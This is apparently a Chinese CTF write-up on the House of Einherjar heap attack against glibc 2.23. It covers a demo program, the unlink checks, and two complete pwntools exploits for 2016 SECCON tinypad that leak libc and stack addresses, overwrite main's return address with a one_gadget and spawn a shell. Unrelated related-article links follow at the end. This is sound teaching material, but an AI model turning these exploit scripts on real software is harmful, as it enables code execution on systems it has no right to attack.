先跟着how to heap和hollk大佬过一遍

//gcc -g Einherjar.c -o ehj
//glibc-2.23
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>
int main()
{setbuf(stdin, NULL);setbuf(stdout, NULL);uint8_t* a;uint8_t* b;uint8_t* d;a = (uint8_t*) malloc(0x38);printf("a: %p\n", a);int real_a_size = malloc_usable_size(a);printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);size_t fake_chunk[6];fake_chunk[0] = 0x100;fake_chunk[1] = 0x100;fake_chunk[2] = (size_t) fake_chunk;fake_chunk[3] = (size_t) fake_chunk;fake_chunk[4] = (size_t) fake_chunk;fake_chunk[5] = (size_t) fake_chunk;printf("Our fake chunk at %p looks like:\n", fake_chunk);b = (uint8_t*) malloc(0xf8);int real_b_size = malloc_usable_size(b);printf("b: %p\n", b);uint64_t* b_size_ptr = (uint64_t*)(b - 8);printf("\nb.size: %#lx\n", *b_size_ptr);a[real_a_size] = 0;printf("b.size: %#lx\n", *b_size_ptr);size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;fake_chunk[1] = fake_size;free(b);printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);d = malloc(0x200);printf("Next malloc(0x200) is at %p\n", d);
}

b 22,创建一个堆,并拿到real_size

        uint8_t* a;uint8_t* b;uint8_t* d;a = (uint8_t*) malloc(0x38);printf("a: %p\n", a);int real_a_size = malloc_usable_size(a);printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding:%#x\n", real_a_size);

b 31

 size_t fake_chunk[6];fake_chunk[0] = 0x100;fake_chunk[1] = 0x100;fake_chunk[2] = (size_t) fake_chunk;fake_chunk[3] = (size_t) fake_chunk;fake_chunk[4] = (size_t) fake_chunk;fake_chunk[5] = (size_t) fake_chunk;printf("Our fake chunk at %p looks like:\n", fake_chunk);

栈上布局

b 35

 b = (uint8_t*) malloc(0xf8);int real_b_size = malloc_usable_size(b);printf("b: %p\n", b);

a和b的布局如下

b 41

 uint64_t* b_size_ptr = (uint64_t*)(b - 8);printf("\nb.size: %#lx\n", *b_size_ptr);a[real_a_size] = 0;printf("b.size: %#lx\n", *b_size_ptr);

a为数组起始地址,real_a_size个字节也就是len+1,off-by-null成0
b 45

 size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;

b-sizeof(size_t)*2,b减去两个地址位宽,就是头指针,这个语句代表的其实就是地址间差值也就是大小,不过0x7fff开头的是负数,假的prev_size写上去

b 47,栈中

 fake_chunk[1] = fake_size;


然后

 free(b);

图片来自hollk师傅

就能吞掉中间的部分了,和off-by-null的利用差不多
要求大概就是这样

  • 两处fake size
  • 四个指向自己的地址
  • 覆盖inuse位

部分源码补充

unlink

/* consolidate backward */
if (!prev_inuse(p)) { // if this chunk isnt in use
prevsize = prev_size(p);// get prev_size
size += prevsize;// backward size
p = chunk_at_offset(p, -((long) prevsize));// find the prev_chunk's location which will be consolidate
unlink(av, p, bck, fwd);
}

unlink的保护

//because P is in bidirectional list already,so check if their size are same
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \ // check next chunk size
malloc_printerr ("corrupted size vs. prev_size");
// aim to bypass the protection, we need to maintein fake_size and prev_size in line// check fd and bk pointer(the bidirectional list integrity check)
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \ // point to self
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

所以总结攻击条件

  • target_addr可控,可伪造我们的addr
  • 知道相对偏移,不然没法写prev_size
  • 改写inuse位

2016_seccon_tinypad

保护与环境

2.23没开PIE

代码审计

还好wiki上的已经命名过了,不然逆向其中很多算法都要花费很多时间

int __cdecl main(int argc, const char **argv, const char **envp)
{__int64 v3; // raxint cmd; // eaxint v5; // eax__int64 v6; // raxunsigned __int64 v7; // raxint c; // [rsp+4h] [rbp-1Ch] BYREFint i; // [rsp+8h] [rbp-18h]int idx; // [rsp+Ch] [rbp-14h]int cnt; // [rsp+10h] [rbp-10h]int v13; // [rsp+14h] [rbp-Ch]unsigned __int64 v14; // [rsp+18h] [rbp-8h]v14 = __readfsqword(0x28u);cnt = 0;write_n("\n", 1LL);write_n("  ============================================================================\n""// _|_|_|_|_|  _|_|_|  _|      _|  _|      _|  _|_|_|      _|_|    _|_|_|     \\\\\n""||     _|        _|    _|_|    _|    _|  _|    _|    _|  _|    _|  _|    _|   ||\n""||     _|        _|    _|  _|  _|      _|      _|_|_|    _|_|_|_|  _|    _|   ||\n""||     _|        _|    _|    _|_|      _|      _|        _|    _|  _|    _|   ||\n""\\\\     _|      _|_|_|  _|      _|      _|      _|        _|    _|  _|_|_|     //\n""  ============================================================================\n",563LL);write_n("\n", 1LL);do{for ( i = 0; i <= 3; ++i ){LOBYTE(c) = i + '1';writeln("+------------------------------------------------------------------------------+\n", 81LL);write_n(" #   INDEX: ", 12LL);writeln((char *)&c, 1LL);write_n(" # CONTENT: ", 12LL);if ( *(_QWORD *)&tinypad[16 * i + 0x108] )// heapaddr{v3 = strlen(*(const char **)&tinypad[16 * i + 0x108]);// heapaddrwriteln(*(char **)&tinypad[16 * i + 0x108], v3);// heapaddr}writeln("\n", 1LL);}idx = 0;cmd = getcmd();cnt = cmd;if ( cmd == 'D' )                           // delete{write_n("(INDEX)>>> ", 11LL);idx = read_int();if ( idx <= 0 || idx > 4 ){LABEL_29:writeln("Invalid index", 13LL);continue;}if ( !*(_QWORD *)&tinypad[16 * idx + 0xF0] )// inuse{LABEL_31:writeln("Not used", 8LL);continue;}free(*(void **)&tinypad[16 * idx + 0xF8]);// heapaddr*(_QWORD *)&tinypad[16 * idx + 0xF0] = 0LL;// inusewriteln("\nDeleted.", 9LL);}else if ( cmd > 'D' ){if ( cmd != 'E' ){if ( cmd == 'Q' )continue;
LABEL_41:writeln("No such a command", 17LL);continue;}                                         // editwrite_n("(INDEX)>>> ", 11LL);idx = read_int();if ( idx <= 0 || idx > 4 )goto LABEL_29;if ( !*(_QWORD *)&tinypad[16 * idx + 0xF0] )// inusegoto LABEL_31;c = '0';strcpy(tinypad, *(const char **)&tinypad[16 * idx + 0xF8]);// heapaddrwhile ( toupper(c) != 'Y' ){write_n("CONTENT: ", 9LL);v6 = strlen(tinypad);writeln(tinypad, v6);write_n("(CONTENT)>>> ", 13LL);v7 = strlen(*(const char **)&tinypad[16 * idx + 0xF8]);// heapaddrread_until(tinypad, v7, 0xAu);writeln("Is it OK?", 9LL);write_n("(Y/n)>>> ", 9LL);read_until((char *)&c, 1uLL, 0xAu);}strcpy(*(char **)&tinypad[16 * idx + 0xF8], tinypad);writeln("\nEdited.", 8LL);}else{if ( cmd != 'A' )goto LABEL_41;while ( idx <= 3 && *(_QWORD *)&tinypad[16 * idx + 0x100] )// size++idx;if ( idx == 4 ){writeln("No space is left.", 17LL);}else{v13 = -1;write_n("(SIZE)>>> ", 10LL);v13 = read_int();if ( v13 <= 0 ){v5 = 1;}else{v5 = v13;if ( (unsigned __int64)v13 > 0x100 )v5 = 0x100;}v13 = v5;*(_QWORD *)&tinypad[16 * idx + 0x100] = v5;// size*(_QWORD *)&tinypad[16 * idx + 0x108] = malloc(v13);// heapaddrif ( !*(_QWORD *)&tinypad[16 * idx + 0x108] ){writerrln("[!] No memory is available.", 27LL);exit(-1);}write_n("(CONTENT)>>> ", 13LL);read_until(*(char **)&tinypad[16 * idx + 0x108], v13, 0xAu);writeln("\nAdded.", 7LL);}}}while ( cnt != 'Q' );return 0;
}

具体结构应该是这样…不知道为什么我这又是0xf0又是0x100的,,可能是反编译错误

还是动态调试舒服

漏洞利用

一个uaf
一个off by null
自己写的read和strcpy
tinypad有个缓冲区存放我们的数据

unsigned __int64 __fastcall read_until(char *a1, unsigned __int64 len, unsigned int terminate)
{unsigned __int64 i; // [rsp+28h] [rbp-18h]__int64 v6; // [rsp+30h] [rbp-10h]for ( i = 0LL; i < len; ++i ){v6 = read_n(0LL, &a1[i], 1LL);if ( v6 < 0 )return -1LL;if ( !v6 || a1[i] == terminate )break;}a1[i] = 0;if ( i == len && a1[len - 1] != '\n' )dummyinput(terminate);return i;
}

泄漏堆地址用fastbin
泄漏libc地址用unsortedBin

exp分析

from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="test"
elf=ELF("./"+name)
local=1
v64=1port=28524
IP="node4.buuoj.cn"
if local:p=process("./"+name)if v64:libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:p=remote(IP,port)if v64:libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")else:libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")def dbg():gdb.attach(p)pause()
'''
sed -i s/alarm/isnan/g ./testlibcbase=printf-libc.sym['printf']system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims        :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr        :p.info('======>'+tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()one_gadget = [0x45226,0x4527a,0xf03a4,0xf1247]def add(size, content):p.recvuntil("(CMD)>>> ")p.sendline("A")p.recvuntil("(SIZE)>>> ")p.sendline(str(size))p.recvuntil("(CONTENT)>>> ")p.sendline(content)def free(index):p.recvuntil("(CMD)>>> ")p.sendline("D")p.recvuntil("(INDEX)>>> ")p.sendline(str(index))def edit(index, content):p.recvuntil("(CMD)>>> ")p.sendline("E")p.recvuntil("(INDEX)>>> ")p.sendline(str(index))p.recvuntil('CONTENT: ')retstr = p.recvuntil('\n')p.recvuntil("(CONTENT)>>> ")p.sendline(content)p.recvuntil("(Y/n)>>> ")p.sendline('Y')return retstr#1 leak heap addr and libc addr
add(0x40,'a')#idx1
add(0x40,'b')#idx2
add(0x80,'c')#idx3
add(0x18,'d')#idx4free(2)#fastbin
free(1)#fastbin
free(3)#unsorted bin
free(4)
ru('CONTENT: ')
buf_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
ru('CONTENT: ')
ru('CONTENT: ')
libc_base = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00')) - 0x7f8c12b7ab78 + 0x7f8c127b6000
main_arena_88 = libc_base + 0x7f8c12b7ab78 - 0x7f8c127b6000
info('buf_addr:' ,buf_addr)
info('libc_base:',libc_base)# fake chunk falsify in addr 0x602060
offset = buf_addr + 0x100 - 0x602060 # 0x100 is 0x50 + 0x50
info('offset: ',offset)
add(0x18,'e' * 0x18) #idx1
add(0xf0,'e' * 0xf0)#idx2
add(0x100,'f' * 0xf8)#idx3
add(0x100,'g' * 0x100)#idx4# this is a vital point
# because of we can only write the number of byte that destination addr originally has
# assume offset is 0xf40, then len(str(hex(offset))) is 5, if it is 5 or 6, 18-5(6) then divide 2 is 6
# \x00 \x00 \x00 \x00 \x00 \x00 \x0f \x40
# fill prev_size with \x00*6
len_of_zero = (18 - len(str(hex(offset))))//2
edit(1,'a' * 0x18)#idx2 preinuse
for i in range(len_of_zero):edit(1,'a' * (0x17 - i))
edit(1,b'a' * 0x10 + p64(offset))fake_chunk = b'd' * 0x20 + p64(0) + p64(0x101) + p64(0x602060) * 2
edit(2,fake_chunk)#write fake_chunk to tinypad
# write in chunk 2 and write in tinypad
free(2)
# this is to evade check when segment from unsortedbin
payload2 = b'd' * 0x20 + p64(0) + p64(0x101) + p64(main_arena_88) * 2
edit(4,payload2)#leak addr related stack
environ_addr = libc_base + libc.sym['__environ']
payload3 = b'a' * 0xd0 + p64(0x18) + p64(environ_addr)+ p64(0x100) + p64(0x602148)# alloc 0x100 real_size chunk from unsortedbin (0x602060 - 0x602160)
add(0xf8,payload3)# idx2p.recvuntil('CONTENT: ')
stack_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))
info("stk_leak",stack_addr)
main_ret = stack_addr -(0x7fffffffdfa8-0x7fffffffdeb8)
info("main_ret",main_ret)ogg = libc_base + one_gadget[0]edit(2,p64(main_ret))
edit(1,p64(ogg))
ru('(CMD)>>> ')
sl('Q')
sl("cat flag")
ir()

值得注意的几个点

  1. 由于有缓冲器strcpy和strlen的缘故,创建堆块的时候最好就填满,之后慢慢一个个byone成\x00来达到想要的效果
  2. 利用environ泄漏栈上地址,可以篡改main函数返回one_gadget

    这就是main函数的返回地址:__libc_start_main+xx
  3. 如果能篡改堆管理器的指针布局,那就有这种trick

    类似于改got表的操作,改main的返回地址

exp重敲,挖出几个有意思的点

from pwn import*
context(os='Linux',log_level = 'debug',arch='amd64')
name="test"
elf=ELF("./"+name)
local=1
v64=1port=28524
IP="node4.buuoj.cn"
if local:p=process("./"+name)if v64:libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")else:libc=ELF("/lib/i386-linux-gnu/libc.so.6")
else:p=remote(IP,port)if v64:libc=ELF("/home/squirrel/桌面/buulibc/16/64/libc-2.23.so")else:libc=ELF("/home/squirrel/桌面/buulibc/16/32/libc-2.23.so")def dbg():gdb.attach(p)pause()
'''
sed -i s/alarm/isnan/g ./test
sudo -s echo 0 > /proc/sys/kernel/randomize_va_spacelibcbase=printf-libc.sym['printf']system=libcbase+libc.sym['system']binsh=libcbase+next(libc.search(b'/bin/sh')))
'''
ogg64=[0x45226,0x4527a,0xf03a4,0xf1247]
sssssss="%i$n"
se      = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
sea     = lambda delim,data         :p.sendafter(delim, data)
rc      = lambda numb=4096          :p.recv(numb)
rl      = lambda                    :p.recvline()
ru      = lambda delims        :p.recvuntil(delims)
uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
info    = lambda tag, addr        :p.info('======>'+tag + ': {:#x}'.format(addr))
ir    = lambda                    :p.interactive()def choice(i):sla("(CMD)>>> ",i)def add(size,ct="\n"):choice("A")sla('(SIZE)>>> ',str(size))sa('(CONTENT)>>> ',ct)def free(idx):choice("D")sla('(INDEX)>>> ',str(idx))    def edit(idx,ct,num=0,OK="Y"):choice("E")sla('(INDEX)>>> ',str(idx))ru("CONTENT: ")content=uu64(rc(num))sa('(CONTENT)>>> ',ct)sla('(Y/n)>>> ',OK)return contentdef exp(i):add(0x18,'a'*0x18+'\n')#,'a'*0x18+'\n') # why must fill 0x18byte?add(0xf0,'b'+'\n')# 0x100 +0x20add(0x50,'c'+'\n')add(0x50,'d'+'\n')free(4) # fastbinfree(3) # fastbinru("INDEX: 3")ru(" # CONTENT: ")leak_heap=uu64(rc(3))info("leak_heap",leak_heap)# 0x603180free(2) # unsortedbinru("INDEX: 2")leak_libc=uu64(ru('\x7f')[-6:])info("leak_libc",leak_libc)# 0x7ffff7dd1b78heap_base=leak_heap-(0x603180-0x603000)libc_base=leak_libc-(0x7ffff7dd1b78-0x7ffff7a0d000)info("libc_base",libc_base)info("heap_base",heap_base)add(0xf1,b'a'*0xf1+b'\n')# 2edit(2,b'a'*0xf0+b'\n')edit(1,'a'*0x18+'\n')# off-by-nullfake_size=heap_base+0x20-0x602080# tinypadinfo("fake_size",fake_size)edit(1,b'a'*0x18+b'\n')# assume fake_size is 0xfeo ,then len_fo_zero is (18-5)/2=6low=p8(fake_size%256)high=p8(fake_size>>8)# edit(1,b'c'*0x10+low+high+b'c'*5+b'\n')len_zero=8-(len(str(hex(fake_size)))+1)//2+1info("len_zero",len_zero)for i in range(len_zero,-1,-1):edit(1,b'c'*0x10+low+high+b'c'*i+b'\n')# why must fake_size rather than 0x101?? this is a vital point# next_size can bypass with 0x00 or self's addr#fake_chunk=b'd'*0x40+p64(0)+p64(fake_size)+p64(0x602060)*2+p64(0)*2fake_chunk=b'd'*0x40+p64(0)+p64(fake_size)+p64(0x602080)*4edit(2,fake_chunk+b'\n')free(2)env=libc_base+libc.sym['__environ']info("env",env)pl=b'a'*(0xb0)+p64(0x10)+p64(env)+p64(0x10)+p64(0x602148)pl+=p64(0)+p64(0x603130)+p64(0)+p64(0x603190)add(0x100,pl+b'\n')ru('CONTENT: ')stack_leak=uu64(rc(6))info("stack_leak",stack_leak)main_ret=stack_leak-(0x7fffffffdfa8-0x7fffffffdeb8)edit(2,p64(main_ret)+b'\n')edit(1,p64(ogg64[0]+libc_base)+b'\n')ru('(CMD)>>> ')sl('Q')if __name__=="__main__":exp(6)sl("cat flag")ir()

一个是向后合并的时候

如果fake_chunk_2不和fake_size一样,那么会向前检查上一个chunk的pre_size和inuse位,而第一个exp里正好下面就是0x100,这个是大版本的检查。
所以我们省事,直接两个fake_size都一样就行了

判断一个chunk是否free是看他后一个chunk的inuse位,这点很重要!

#define unlink(AV, P, BK, FD) {                                            \if (__builtin_expect (chunksize(P) != (next_chunk(P))->prev_size, 0))      \malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \FD = P->fd;                                     \BK = P->bk;                                    \if (__builtin_expect (FD->bk != P || BK->fd != P, 0))              \malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \else {                                      \FD->bk = BK;                               \BK->fd = FD;                               \if (!in_smallbin_range (P->size)                    \&& __builtin_expect (P->fd_nextsize != NULL, 0)) {             \if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)          \|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \malloc_printerr (check_action,                   \"corrupted double-linked list (not small)",    \P, AV);                          \if (FD->fd_nextsize == NULL) {                    \if (P->fd_nextsize == P)                      \FD->fd_nextsize = FD->bk_nextsize = FD;            \else {                                 \FD->fd_nextsize = P->fd_nextsize;               \FD->bk_nextsize = P->bk_nextsize;               \P->fd_nextsize->bk_nextsize = FD;               \P->bk_nextsize->fd_nextsize = FD;               \}                                  \} else {                               \P->fd_nextsize->bk_nextsize = P->bk_nextsize;            \P->bk_nextsize->fd_nextsize = P->fd_nextsize;            \}                                      \}                                      \}                                          \
}

再一个就是4×p64(0x602080)和2×p64(0x602080)+2×p64(0)的构造是绕过next_size的检查

[已迁移]pwn-House of Einherjar-2016_seccon_tinypad[House of Einherjar + environ leak stack + main返回地址]相关推荐

  1. css在线工具_已迁移

    为什么80%的码农都做不了架构师?>>>    已迁移 http://www.css3.me/ http://developer.51cto.com/art/201209/35844 ...

  2. 博客已迁移至简书:https://www.jianshu.com/u/68409598ede7

    博客部分文章已迁移至简书:https://www.jianshu.com/u/68409598ede7

  3. [公告]本博客已迁移到 tpu01yzx.me

    本博客已迁移到 https://tpu01yzx.me/p/category/archive/csdn

  4. GitLab 已迁移至谷歌云平台,并表示目前运行良好

    百度智能云 云生态狂欢季 热门云产品1折起>>>   上个月 GitLab 就已对外公布,他们计划在8月进行从 Azure 迁移到谷歌云平台(Google Cloud Platfor ...

  5. 微软部分服务已迁移至中国本地服务器

    为了加快国内用户在访问服务时的速度,微软已经开始将部分服务迁移至位于中国大陆的服务器.最近,微软的开源代码编辑器VSCode也将下载和更新服务迁移到了Azure中国的服务器上. 微软方面表示:由于中国 ...

  6. Firefox UI已迁移至Web Components

    这不是一项一蹴而就的工程,Mozilla 开发者表示团队花费了大约两年的时间,采用"增量更新"的方式才逐渐将 Firefox UI 迁移至使用 Web Components 构建. ...

  7. 重要更新|Amazon S3 和 CloudFront 已迁移至 Amazon Trust Services

     提醒  从2021年3月23日起,Amazon S3和Amazon CloudFront服务将迁移至Amazon Trust Services 传输层安全性(TLS,以前称为安全套接字层[SSL]) ...

  8. oracle异构迁移mysql方案实施(含原理)——已迁移成功

    从迁移方案的落地.迁移前准备.N次迁移演练.回归测试.性能调优整整用了四个月左右的时间(当然在此期间还包括其他项目及日常操作耗费工时).正式迁移到迁移成功.以及上线开服后性能稳定这些操作已经过去了一个 ...

  9. ASP.NET Aries 2.0 发布(原来的源码SVN已关闭,开源源码已迁移到GitHub)

    主要更新: 1:增加子目录部署支持. 2:增加Taurus.MVC支持. 3:优化及Bug修复. 1:增加子目录部署支持: 其实在重写Aries框架的时候,我是去掉了目录部署功能的,主要是为了加快Ar ...

最新文章

  1. ie关闭浏览器tab提示信息
  2. 倒计时5天:5G还是6G?
  3. Android得到一个闹钟在第三方
  4. 掌握Rabbitmq几个重要概念,从一条消息说起
  5. android 主要哪些版本,你用过的最早的安卓版本是哪个?带你见识最早的安卓系统!...
  6. 047、JVM实战总结:高级工程师的硬核技能:JVM的Full GC日志应该怎么看?
  7. 存储过程和存储函数的区别
  8. IDEA-快捷键noob
  9. C语言度量代码质量常用指标,代码度量标准
  10. 《30天吃掉那只 TensorFlow2.0》 开篇辞(Tensorflow 学习之路)
  11. crm客户管理系统如何助力企业销售管理
  12. 24小时极限挑战WPF:LOLVoiceExtractor(WPF/C++DLL)实战--(图片修复,增加程序包)
  13. DOS命令不需格式化U盘-FAT32轻松转换成NTFS
  14. Python基础学习之 os 模块详解
  15. PHp勾股定理,人教社课本现低级错误 爱因斯坦用相对论证明勾股定理?
  16. 外包程序员面试遭HR鄙视,称:外包就是程序员的“职业污点”?
  17. 裤子千万条,棉裤第一条!南方的小伙伴你穿棉裤吗?
  18. python完全匹配_python如何精确匹配
  19. 【小5聊】发布开发好的google浏览器插件到谷歌应用商店
  20. 联通一信通短信平台接口调用

热门文章

  1. IDEA必备插件--高效办公
  2. CSS 中 display 的 block,inline,inline-block 这三个属性的区别
  3. IM软件私有化方案和云方案有什么区别
  4. python输出星号_python中星号
  5. php 服务器虚拟文件,模拟php curl向远程服务器上传文件
  6. Golang logrus 快速上手
  7. 5.11黄金最新行情走势分析及多空交易策略
  8. ctf web5 练习_Writeup - CTF - WEB - 练习平台(123.206.31.85)
  9. 2.45GHz微带天线PCB设计AD铺铜只显示边框不显示铜皮的解决办法
  10. 京东开源热key探测(JD-hotkey)中间件单机qps 提升17倍实战